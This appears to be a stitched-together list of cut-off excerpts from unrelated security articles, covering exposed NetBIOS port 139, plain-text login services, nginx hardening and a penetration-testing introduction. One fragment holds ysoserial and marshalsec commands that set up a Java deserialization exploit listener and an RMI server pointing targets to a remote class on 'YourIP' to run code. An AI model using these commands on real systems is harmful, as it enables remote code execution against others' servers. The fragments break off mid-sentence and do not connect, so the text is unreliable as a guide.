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An open port 139 that allows inbound traffic from all external IP addresses is extremely dangerous. Any shared resources are exposed to the public internet. An attacker could also run the NetBIOS diagnostic tool Nbtstat to obtain information to help them startfootprintinga system they want to att...
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In this case, it is often obvious to the attacker which application you are using. If the attacker is familiar with the application, she may know how to exploit it. For instance, the application may use a configuration file called %webroot%\system.config. If files with the .config ...
Don’t install any services that allow logins that are unencrypted, or plain-text. This includes FTP that uses plain-text login (port 21), telnet (port 23), POP (port 110) or any other service where usernames and passwords are sent over the network as plain-text. ...
java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' use,XXclass.class from jdk6 build java -cp $mtx/../tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://YourIP:port/#XXclass' 1099 ...
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My point of view may be different from yours so if you feel these priority levels do not reflect your configurations commitment to security, performance or whatever else, you should adjust them as you see fit. RULECHAPTERPRIORITY Define the listen directives explicitly with address:port pair...
This article is not intended to show you how to hack something, but rather to show how attackers can take advantage of your mistakes. This will enable you to avoid the common pitfalls that criminal hackers exploit. Before I get started, there are several things you need to know about penetr...